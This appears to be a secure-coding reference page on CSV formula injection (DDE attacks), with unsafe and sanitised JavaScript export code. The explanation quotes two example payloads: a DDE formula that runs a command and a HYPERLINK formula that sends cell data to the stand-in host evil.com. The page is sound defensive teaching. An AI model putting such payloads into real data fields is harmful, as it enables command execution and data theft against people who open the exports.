CSV Formula Injection (DDE Attack)
A CSV file containing cells that start with =, +, -, or @ characters, which spreadsheet applications interpret as formulas, potentially executing system commands via DDE.
How This Attack Works
When a CSV file is opened in Excel or Google Sheets, cells starting with formula characters are evaluated. An attacker can craft cells like '=CMD|'/C calc'!A0' (DDE) or '=HYPERLINK("http://evil.com/steal?data="&A1)' to exfiltrate data or execute commands. This is called CSV injection or formula injection.
Attack Vector
User exports data from a web app. Attacker has injected formula payloads into data fields (e.g., username = '=CMD|...'). Exported CSV is opened in Excel, triggering command execution.
Real-World Example
CSV injection has been found in Google Sheets, Salesforce, HubSpot, and numerous SaaS platforms. Bug bounties have been awarded for this vulnerability class on HackerOne and Bugcrowd.
Vulnerable Code
// UNSAFE: Direct CSV export
const csv = data.map(row =>
row.map(cell => `"${cell}"`).join(',')
).join('\n');Safe Implementation
// SAFE: Sanitize formula-triggering characters
function sanitizeCell(value: string): string {
if (/^[=+\-@\t\r]/.test(value)) {
return "'" + value; // Prefix with single quote
}
return value;
}
const csv = data.map(row =>
row.map(cell => `"${sanitizeCell(cell)}"`).join(',')
).join('\n');Safe Handling Guidelines
Prefix cells starting with =, +, -, @, tab, or carriage return with a single quote ('). This tells spreadsheets to treat the content as text, not a formula.